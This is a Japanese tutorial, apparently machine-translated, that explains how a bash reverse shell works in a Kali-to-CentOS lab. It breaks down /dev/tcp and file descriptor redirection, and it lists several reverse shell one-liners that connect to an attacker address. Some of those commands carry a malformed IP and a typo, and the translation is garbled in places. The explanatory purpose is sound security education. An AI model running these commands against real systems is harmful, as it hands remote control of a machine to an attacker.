Linux bashのバウンスシェルの原理を簡単に解析してみた
環境について
攻撃マシン: kali ip: 192.168.25.144
ターゲットマシン:Centos ip:192.168.25.142
プロセス
kali はローカルのポート 8888 をリッスンします。
対象マシン centos bounce shellへのコマンド書き込み
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
攻撃マシンkaliのバウンスシェルに成功
原理
バウンスシェル 多くの場合 アタッカー に直接接続できない。 被害者 対象がLANである場合や、ファイアウォールの特定のポリシーがONになっている場合など、様々な理由でこの操作が行われますが、ここで 被害者が攻撃者への接続を開始し、制御された側の へのリクエストを開始する。 制御する側 ポートに接続し、そのコマンドラインの入出力をリダイレクトします。 コンソール との対話が可能になります。
コマンドをバラバラにする
bash -i
/dev/tcp/192.168.25.144/8888
>& 0>&1
バッシュ
Linuxの一般的なデフォルトのシェルは バッシュ これはシェルのほぼすべての機能をカバーしているので、通常シェルスクリプトの実行パスとして指定されます。
一般的に使用されるシェルは ash、bash、dash、ksh、csh、zsh など、各シェルにはそれぞれ特徴や用途があります。
現在のシェルコマンドを問い合わせる ls -l /bin/sh
バッシュ -i 対話型のbashシェルを開く。 -i 引数で指定された場合、それはインタラクティブな
インタラクティブとは、ユーザーと対話できることを意味し、コマンドを入力してそれをユーザーに表示することはインタラクティブ処理、シェルスクリプトの実行は非インタラクティブ処理となります
コマンドの使用 echo $- 対話型シェルかどうかを確認することができます
パラメータ付き i 、その は対話型
シェルスクリプトを実行する
パラメータなし i , 非対話型
/devディレクトリ
devはdeviceの略です。デバイス(周辺機器を含む)に関連するファイルが格納される場所で、主に Linuxではすべてがファイル
/dev/tcp/ は、Linuxの特殊なデバイスです。このファイルを開くことは、ソケットコールを発行してソケット接続を確立することと同じであり、このファイルを読み書きすることは、このソケット接続でデータを転送することと同じである。同様に、Linuxには/dev/udp/も存在します。
/dev/tcp/192.168.25.144/8888
つまり、上記のコマンドは、192.168.25.144:8888へのTCP接続を確立しています。
ファイル記述子
Linuxシステムでは、あらゆるものをファイルとして扱います。プロセスが既存のファイルを開いたり、新しいファイルを作成したりすると、カーネルはファイルディスクリプタをプロセスに返します。これは、開かれたファイルを効率的に管理するためにカーネルが作成したインデックスで、開かれたファイルを指し示すものです。
入出力操作を行うシステムコールはすべてファイルディスクリプタを通過する、つまり、ファイルディスクリプタが入出力を制御する(入出力リダイレクション)
標準入力 (stdin): コードが 0 の場合 < または << デフォルトデバイスのキーボード使用
標準出力(stdout):コードが1の場合 > または >> デフォルトデバイスのディスプレイを使用する
標準エラー出力(標準エラー):コードが2の場合 2> または2>> デフォルトのデバイス表示
--- +--------+
( 0 ) ---->|dev/tty0| When opening a terminal the default file descriptor points to /dev/tty0 (virtual terminal)
--- +--------+
--- +--------+
( 1 ) ---->|dev/tty0|
--- +--------+
--- +--------+
( 2 ) ---->|dev/tty0|
--- +--------+
ほとんどのLinuxシステムコマンドは、ターミナルから入力を受け取り、結果の出力をターミナルに送り返します。コマンドは通常、標準入力と呼ばれる場所から入力を読み込みますが、デフォルトではたまたまあなたのターミナルになっています。同様に、コマンドは通常その出力を標準出力に書き込みますが、これもデフォルトではあなたの端末になります
シェルの入出力リダイレクト
上の画像のようにさせます。 出力リダイレクト
使用方法 1> 指定されたファイルに出力を書き込む ファイルが存在しない場合は作成し、存在する場合は上書きを行う
省略またはデフォルトは1 同様に、入力のリダイレクトは 0< 省略時は0
使用方法 >> は、ファイルの末尾にあるコンテンツを追いかけます。
上記で確立したTCP接続と組み合わせる
受け取ったkaliの攻撃マシン
組み合わせ バッシュ -i
コマンド実行結果をkaliに戻す
この時点で name と入力し、標準出力エラーがリダイレクトされないことを確認します。
--- +--------+
( 0 ) ---->|dev/tty0|
--- +--------+
--- +--------+ +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
--- +--------+ +------------------+
--- +--------+
( 2 ) ---->|dev/tty0|
--- +--------+
入力リダイレクト
kaliの攻撃マシンで、次のように入力します。
ターゲットマシーンは入力コマンド、標準出力(デフォルト端末)を取得
--- +--------+
( 0 ) ---->|dev/tty0|
--- +--------+
--- +--------+ +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
--- +--------+ +------------------+
--- +--------+
( 2 ) ---->|dev/tty0|
--- +--------+
この時点では、単に
bash i > /dec/tcp/192.168.25.144/8888 そして bash i < /dec/tcp/192.168.25.144/8888 と合わせて
攻撃側のkaliマシンでコマンド入力を実装し、kaliマシンでコマンドを取得します。 バウンスシェルを実装しています。
つまり、以下のコマンドを使用します。
bash -i > /dev/tcp/192.168.25.144/8888 0>&1
効果 kali ip: 192.168.25.140
この時点で 攻撃側で入力されたコマンドをターゲットが出力します。 もう一つ問題があって、標準エラー出力がリダイレクトされないのです
追加です。
バッシュ コマンドを実行する際、まずコマンド内にリダイレクト記号があるかどうかを確認し、あればそのファイル記述子を最初にリダイレクトし、複数あれば左から右の順にコマンドを実行します
標準出力と標準エラー出力のリダイレクト
このとき、バウンスシェル文では >& 演算子を使用します。 >& 演算子は文脈によって異なる意味を持つ
で >&ワード 構文では 単語 は数字または - 文字がある場合、演算子 >& を示します。 コピー ファイル記述子
そして、ファイルディスクリプタは、以下のような形式でコピーされます。 num1<&num2 と num1>&num2
ここでは、2つの は、ファイル記述子 num1 を num2 にコピーします。 前者は読み込み専用で、後者は書き込み専用で開いているという違いがあります。
したがって num1<&num2 そして num1>&num2 は等価です(read/write mode openは影響しません)。
そこで、上記のコマンドは次のように修正することができます。 bash -i > /dev/tcp/192.168.25.144/8888 0<&1
そこで 0>&1または0<&1
は、ファイルディスクリプタの説明です コピー 0 [標準入力] を 1 [標準出力] が指す場所にリダイレクトするものです。
この時点で1[standard output]はソケット接続ファイルを指しています(最初の> ) と
リダイレクトが完了すると、0 [標準入力] もソケット接続ファイルを指している つまり、元の標準出力がコピーされたため、ターゲットマシーンに表示し直されたと推測されます(kaliでのコマンドヒット)。
--- +--------+
( 0 ) ---->|dev/tty0|\
--- +--------+ \
\
--- +--------+ ----> +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
--- +--------+ +------------------+
--- +--------+
( 2 ) ---->|dev/tty0|
--- +--------+
この時点では、標準エラー出力は変更されていません。
で >&word 構文では、word が数字でない場合や - 文字 >& とは 標準出力に出力される標準エラー
この時点では演算子 &> と同じ機能 >&語 と同等です。 &> 単語 はどちらも > 単語 2>&1
を実行する場合 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 コマンドを実行すると、次のような効果があります。 標準出力のエラーはリダイレクトされません。
そこで、コマンドを実行します。 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 または
bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 どちらも閉ループを形成し、再び、攻撃者にコマンドを表示します。
シェルをバウンスするクロージャを形成するために、次のような効果を得ることができ、他のいくつかのバウンスコマンドも形成することができればよい。
--- +--------+
( 0 ) ---->|dev/tty0|\
--- +--------+ \
\
--- +--------+ ----> +------------------+
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
--- +--------+ ----> +------------------+
/
--- +--------+ /
( 2 ) ---->|dev/tty0| /
--- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1
その他
この記事は、多くの大御所のブログから拝借しているので、訂正があれば。ぜひご指摘ください。
参考リンク
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
bash bounce shell for Linuxの原理については、この記事ですべて説明されています。bash bounce shell for Linuxの詳細については、過去の記事を検索するか、以下の記事を引き続きご覧ください。
関連
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン